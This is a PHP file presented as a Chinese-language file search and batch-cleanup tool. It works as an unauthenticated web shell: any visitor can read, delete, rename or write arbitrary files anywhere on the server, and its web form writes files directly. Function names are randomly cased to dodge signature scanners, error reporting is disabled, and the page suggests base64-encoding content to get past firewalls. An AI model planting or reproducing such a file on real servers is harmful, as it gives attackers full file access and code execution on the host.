<?php
seT_tiMe_limIt(0);
erRor_rePortiNg(0);
iNi_SEt('memory_limit','-1');
$wwwroot=$_SERVER['DOCUMENT_ROOT'];
$search_dir=isset($_POST['search_dir'])?trim($_POST['search_dir']):$wwwroot;
$keyword=isset($_POST['keyword'])?trim($_POST['keyword']):'';
$preg_exp=$keyword;
$file_match_exp=isset($_POST['file_match_exp'])?trim($_POST['file_match_exp']):'*';
$file_perm=isset($_POST['file_perm'])?trim($_POST['file_perm']):'';
$file_min_size=isset($_POST['min_size'])?trim($_POST['min_size']):0;
if (!is_numeric($file_min_size)) $file_min_size=0;
$file_max_size=isset($_POST['max_size'])?trim($_POST['max_size']):10000000;
if (!is_numeric($file_max_size)) $file_max_size=10000000;
if ($file_min_size>$file_max_size) 
{
    $file_min_size0=$file_min_size;
    $file_min_size=$file_max_size;
    $file_max_size=$file_min_size0;
}
$max_show=isset($_POST['max_show'])?trim($_POST['max_show']):0;
if (!is_numeric($max_show)) $max_show=0;
$search_mode=isset($_POST['search_mode'])?trim($_POST['search_mode']):'';
$view_file=isset($_GET['view_file'])?url_b64_de($_GET['view_file']):'';
$del_file=isset($_GET['del_file'])?url_b64_de($_GET['del_file']):'';
$write_file=isset($_POST['write_file'])?trim($_POST['write_file']):'';
$write_content=isset($_POST['write_content'])?trim($_POST['write_content']):'';
$del_file_paths=isset($_POST['del_file_paths'])?trim($_POST['del_file_paths']):'';
$new_fname=isset($_POST['new_fname'])?trim($_POST['new_fname']):'';
$clear_code_content=isset($_POST['clear_code_content'])?trim($_POST['clear_code_content']):'';
if ( $clear_code_content!='' && $_POST['clear_b64']=='yes' ) $clear_code_content=baSE64_deCodE($clear_code_content);

function sc_dir($dir,$search,$type)
{
    $search_arr=expLodE('*',$search);
    $search_arr_c=count($search_arr);
    $gl_arr=array();
    $sc_arr=sCanDiR($dir);
    foreach($sc_arr as $sc1)
    {
        if ($sc1=='.'||$sc1=='..') continue;
        if ($type=='dir'&&Is_FilE($sc1)) continue;
        if ($type=='file'&&iS_Dir($sc1)) continue;
        if ($search_arr_c>1)
        {
            $step_match=true;
            $start=0;
            foreach($search_arr as $search1)
            {
               if ($search1!='')
               {
                   $posi=strpos($sc1,$search1,$start);
                   if ($posi===false)
                   {
                       $step_match=false;
                       break;
                   }else
                   {
                       $start=$posi+strlen($search1);
                   }
               }
            }
            if ($step_match===true) $gl_arr[]=$dir.'/'.$sc1;
        }else
        {
            if ($sc1==$search) $gl_arr[]=$dir.'/'.$sc1;
        }
    }
    return $gl_arr;
}

function url_b64_en($code)
{
    $new_code=trim($code);
    $new_code=baSe64_eNcodE($new_code);
    $new_code=str_replace('+','-',$new_code);
    $new_code=str_replace('/','_',$new_code);
    $new_code=str_replace('=','.',$new_code);
    return $new_code;
}

function url_b64_de($code)
{
    $new_code=trim($code);
    $new_code=str_replace('-','+',$new_code);
    $new_code=str_replace('_','/',$new_code);
    $new_code=str_replace('.','=',$new_code);
    $new_code=BasE64_DecOde($new_code);
    return $new_code;    
}

if( $view_file!='' )
{
    $file_content=is_FiLe($view_file) ? fiLe_gEt_ConTents($view_file) : $view_file.' --> 文件不存在';
    heAdEr("content-type:text/plain; charset=utf-8");
    echo $file_content;
    exit;
}

HeadEr("content-type:text/html; charset=utf-8");
if ( isset($_POST['keyword']) )
{
    $search_dir_content=sc_dir($search_dir,'*','all');
    if ( empty($search_dir_content) ) exit ('目录为空或无权限!');
    
    $keyword_arr=array();
    foreach(eXplodE('|||',$keyword) as $keyword1)
    {
        $keyword1=trim($keyword1);
        if ($keyword1!='')
        {
            $keyword_arr[]=$keyword1;
        }
    }
    
    $find_count=0;

    $dir_arr=array();
    $j=0;
    $dir_arr[0][]=$search_dir;
    while(!empty($dir_arr[$j]))
    {
        foreach($dir_arr[$j] as $parent_dir)
        {
            $child_dir_arr=sc_dir($parent_dir,'*','dir'); 
            foreach($child_dir_arr as $child_dir)
            {
                $dir_arr[$j+1][]=$child_dir;
            }
        }
        $j++;
    }
    
    echo '<style>.span_fp:hover{background-color:#dddddd;}</style><form id="form_del" action="" method="post"><input type="button" value="一键勾选目录重名项" onclick="sl_same_dir(\''.$wwwroot.'\');">
    勾选模式: <input type="radio" id="sl_mode1" name="sl_mode" checked="true">点选 &nbsp;&nbsp;&nbsp; <input type="radio" id="sl_mode2" name="sl_mode">滑选
    <br>';
    $i=0;
    foreach($dir_arr as $sub_dir_arr)
    {
        if ( $max_show>0 && $find_count>=$max_show ) break;
        foreach($sub_dir_arr as $dir1)
        {
            if ( $max_show>0 && $find_count>=$max_show ) break;
            $file_arr=sc_dir($dir1,$file_match_exp,'file');
            foreach($file_arr as $file1)
            {
                if ( $max_show>0 && $find_count>=$max_show ) break;
                if ( !iS_fIle($file1) ) continue;
                $href_uri=strpos($file1,$wwwroot)===false?'#':str_replace($wwwroot,'',$file1);
                $file1_perm=substr(sprintf('%o',filEpeRmS($file1)),-4);
                if ( $file_perm!='' && $file_perm!=$file1_perm ) continue;
                $file1_fsize=fILesIzE($file1);
                if ( $file1_fsize<$file_min_size || $file1_fsize>$file_max_size ) continue;
                $file1_b64=url_b64_en($file1);
                $checkbox_id='checkbox_'.$i;
                $i++;
                $checkbox='<input type="checkbox" id="'.$checkbox_id.'" class="find_list" value="'.$file1.'">';
                $row_result=$checkbox.'<span class="span_fp" onmouseover="check_slide(\''.$checkbox_id.'\');" onclick="check_one(\''.$checkbox_id.'\');" >'.$file1.'</span>&nbsp;&nbsp;&nbsp;(<font color="#'.($file1_perm*1234).'">'.$file1_perm.'</font> | '.$file1_fsize.' B) --> <a href="?view_file='.$file1_b64.'" target="_blank">查看代码</a> | <a href="'.$href_uri.'" target="_blank">访问URL</a> | <a href="?del_file='.$file1_b64.'" target="_blank">删除</a><br>'."\r\n";
                if ( $keyword=='' )
                {
                    echo $row_result;
                    $find_count++;
                    continue;
                }
                if ($search_mode=='normal')
                {
                    $match_count=0;
                    foreach($keyword_arr as $keyword1)
                    {
                        if ( strpos(fIle_Get_coNtenTs($file1),$keyword1)===false )
                        {
                            break;
                        }else
                        {
                            $match_count++;
                        }
                    }
                    if ( $match_count==count($keyword_arr) )
                    {
                        echo $row_result;
                        $find_count++;
                    }
                }
                if ($search_mode=='preg')
                {
                    if ( pReg_mAtCh($preg_exp,fIlE_get_coNTents($file1),$matches) )
                    {
                        echo $row_result;
                        $find_count++;
                    }
                } 
            }
        }
    }
    echo '共找到 '.$find_count.' 个文件 ****提示: 文件数量较多时,点全选可能会卡顿,请多试几次
    <br><textarea rows="10" cols="150" id="del_file_paths" name="del_file_paths" style="display:none"></textarea>
    <br><textarea rows="5" cols="100" id="cancel_file_paths" name="cancel_file_paths" placeholder="请输入要保留的备码网址或文件位置"></textarea>
    <br><input type="button" value="批量取消勾选" onclick="cancel_check(\''.$wwwroot.'\');">
    <br><br><input type="checkbox" id="sl_all" onclick="check_all();">全选 <input type="button" value="反选" onclick="reverse_all();">
    <br><br><input type="button" value="批量删除文件" onclick="batch_do(\'del\');">
    <br><br><input type="text" size="10" id="new_fname" name="new_fname" placeholder="新文件名"><input type="button" value="批量重命名" onclick="batch_do(\'rename\');">
    <br><br><textarea rows="10" cols="100" id="clear_code_content" name="clear_code_content" placeholder="请输入要清除的代码内容, 代码被防火墙拦截时, 请用base64加密, 再选择-代码已base64加密"></textarea>
    <br><select name="clear_b64"><option value="no">代码未加密</option><option value="yes">代码已base64加密</option></select> <input type="button" value="批量清除代码" onclick="batch_do(\'clear\');">
    <a href="https://base64.us" target="_blank">base64加密网址</a>
    </form>'."\r\n";
}elseif( $del_file!='' )
{
    $del_file_dir=DiRnAMe($del_file);
    cHmoD($del_file_dir,0755);
    unLinK($del_file);
    $message=Is_File($del_file) ? '<font color="red">删除失败</font>' : '<font color="green">删除成功</font>';
    echo $del_file.' --> '.$message;
}elseif( $del_file_paths!='' )
{
    $del_file_path_arr=ExplOde("\n",$del_file_paths);
    foreach($del_file_path_arr as $del_file_path1)
    {
        $del_file_path1=trim($del_file_path1);
        if ( $del_file_path1!='' )
        {
            $del_file_dir=DirNAMe($del_file_path1);
            cHMoD($del_file_dir,0755);
            if ( $new_fname!='' )
            {
                $new_fname_path=$del_file_dir.'/'.$new_fname;
                if ( is_file($new_fname_path) )
                {
                    echo $del_file_path1.' --> '.$new_fname_path.' (重命名失败, 目标文件已存在)<br>';
                }else
                {
                    rEnaMe($del_file_path1,$new_fname_path);
                    echo $del_file_path1.' --> '.$new_fname_path.' (重命名成功)<br>';
                }

            }elseif ($clear_code_content!='')
            {
                $old_content=fIle_gEt_coNtents($del_file_path1);
                $new_content=str_replace($clear_code_content,'',$old_content);
                cHmod($del_file_path1,0644);
                UNLiNk($del_file_path1);
                File_pUT_contEnts($del_file_path1,$new_content);
                echo $del_file_path1.' --> 代码清除完成<br>';
            }else
            {
                UnLink($del_file_path1);
                $message=iS_filE($del_file_path1) ? '<font color="red">文件删除失败</font>' : '<font color="green">文件删除成功</font>';
                echo $del_file_path1.' --> '.$message.'<br>';
            }
        }
    }
}elseif( $write_file!='' )
{
    $write_file_arr=explode("\n",$write_file);
    $write_ok_list='';
    foreach($write_file_arr as $write_file1)
    {
        $write_file1=trim($write_file1);
        if ($write_file1!='')
        {
            $write_dir=diRnaMe($write_file1);
            if (!is_Dir($write_dir)) 
            {
                MkDir($write_dir,0755,true);
            }else
            {
                CHmoD($write_dir,0755);
                if ( iS_File($write_file1) ) 
                {
                    ChMoD($write_file1,0644);
                    uNlInk($write_file1);
                }
            }
            filE_puT_contEnts($write_file1,$write_content);
            if ( is_FilE($write_file1) )
            {
                $write_md5=md5($write_content);
                $read_md5=md5(fiLe_Get_coNtents($write_file1));
                if ($write_md5==$read_md5)
                {
                    echo $write_file1.' <font color="green">写入成功！</font> --> <a href="?view_file='.url_b64_en($write_file1).'" target="_blank">查看</a><br>';
                    $write_ok_list.=$write_file1.'<br>';
                }else
                {
                    echo $write_file1.' <font color="red">写入失败！</font><br>';
                }
            }else
            {
                echo $write_file1.' <font color="red">写入失败！</font><br>';
            }
        }
    }
    
    echo '<br><br>写入成功列表:<br>'.$write_ok_list.'<br>';
}else
{
    echo '
    <h1>查找文件(v.2026.0428)</h1>
    <form name="file_search" action="" method="post">
    搜索目录<input type="text" size="30" name="search_dir" value="'.$search_dir.'">(用/开头代表服务器根目录)<br><br>
    关键词<input type="text" size="30" name="keyword">
    <select name="search_mode">
        <option value="normal">普通字符串</option>
        <option value="preg">正则表达式</option>
    </select> (多个词用|||分割)
    <br><br>
    文件名匹配<input type="text" size="10" name="file_match_exp" value="*.php"> (*号表示任意字符,例如:abc*, aa*bb, *efg) <br><br>
    权限<input type="text" size="10" name="file_perm"> (例如:0444) <br><br>
    大小<input type="text" size="10" name="min_size" value="0">Byte ~ <input type="text" size="10" name="max_size" value="10000000">Byte<br><br>
    显示<input type="text" size="10" name="max_show" value="0">条 (0表示显示所有)<br><br>
    <input type="submit" name="submit" value="提交"> <br><br>
    </form>
    <hr>
    <h1>批量删除</h1>
    <form name="file_del" action="" method="post">
    待删文件绝对路径(一行一条,用/开头代表服务器根目录)：<br><textarea rows="30" cols="120" name="del_file_paths"></textarea> <br><br>
    <input type="submit" name="submit2" value="提交"> <br><br>
    </form>    
    <hr>
    <h1>写入文件</h1>
    <form name="file_write" action="" method="post">
    写入文件绝对路径：(一行一条,用/开头代表服务器根目录)<br><textarea rows="10" cols="120" name="write_file"></textarea><br><br>
    写入文件内容：<br><textarea rows="30" cols="120" name="write_content"></textarea> <br><br>
    <input type="submit" name="submit3" value="提交"> <br><br>
    </form>   
    ';
}
?>

<script>
    function check_all()
    {
        var find_list=document.getElementsByClassName("find_list");
        var sl_all=document.getElementById("sl_all");
        for(var i=0;i<find_list.length;i++)
        {
            if ( sl_all.checked==false)
            {
                find_list[i].checked=false;
            }else
            {
                find_list[i].checked=true;
            }
        }
    }

    function reverse_all()
    {
        var find_list=document.getElementsByClassName("find_list");
        for(var i=0;i<find_list.length;i++)
        {
            if (find_list[i].checked==true)
            {
                find_list[i].checked=false;
            }else
            {
                find_list[i].checked=true;
            }
        }
    }
    
    function check_slide(ck_id)
    {
        if (document.getElementById("sl_mode2").checked==true)
        {
            var check_box=document.getElementById(ck_id);
            if (check_box.checked==false)
            {
                check_box.checked=true;
            }
        }
    }

    function check_one(ck_id)
    {
        var check_box=document.getElementById(ck_id);
        if (check_box.checked==false)
        {
            check_box.checked=true;
        }else
        {
            check_box.checked=false;
        }
        
    }
    
    function sl_same_dir(wt)
    {
        var find_list=document.getElementsByClassName("find_list");
        var i,j,path_arr;
        for(i=0;i<find_list.length;i++)
        {
            path_arr=find_list[i].value.replace(wt,'').split('/');
            for(j=2;j<path_arr.length-1;j++)
            {
                if( path_arr[j]==path_arr[j-1] )
                {
                    find_list[i].checked=true;
                    break;
                }
            }
        }
    }
    
    function cancel_check(wt)
    {
        var find_list=document.getElementsByClassName("find_list");
        var cancel_file_paths=document.getElementById("cancel_file_paths").value;
        for(var i=0;i<find_list.length;i++)
        {
            if ( cancel_file_paths.includes(find_list[i].value.replace(wt,'')) )
            {
                find_list[i].checked=false;
            }
        }
    }
    
    function batch_do(a)
    {
        var find_list=document.getElementsByClassName("find_list");
        var del_file_paths='';
        for(var i=0;i<find_list.length;i++)
        {
            if ( find_list[i].checked==true )
            {
                del_file_paths+=find_list[i].value+"\n";
            }
        }
        if (del_file_paths!='')
        {
            if ( a=='del' )
            {
                if ( confirm("确定要删除文件吗?") )
                {
                    document.getElementById("del_file_paths").value=del_file_paths;
                    document.getElementById("clear_code_content").value='';
                    document.getElementById("new_fname").value='';
                    document.getElementById("form_del").submit();
                }                
            }else if ( a=='clear' )
            {
                ccc=document.getElementById("clear_code_content").value.trim();
                if ( ccc=='' )
                {
                    alert("请输入要清除的代码内容");
                }else
                {
                    if ( confirm("确定要清除代码吗?") )
                    {
                        document.getElementById("del_file_paths").value=del_file_paths;
                        document.getElementById("new_fname").value='';
                        document.getElementById("form_del").submit();
                    }
                }
            }else if ( a=='rename' )
            {
                new_fname=document.getElementById("new_fname").value.trim();
                if ( new_fname=='' )
                {
                    alert("请输入新文件名!");
                }else
                {
                    if ( confirm("确定要重命名吗?") )
                    {
                        document.getElementById("del_file_paths").value=del_file_paths;
                        document.getElementById("clear_code_content").value='';
                        document.getElementById("form_del").submit();
                    }
                }
            }else
            {
                
            }
        }else
        {
            alert("未选择项目!");
        }
    }
</script>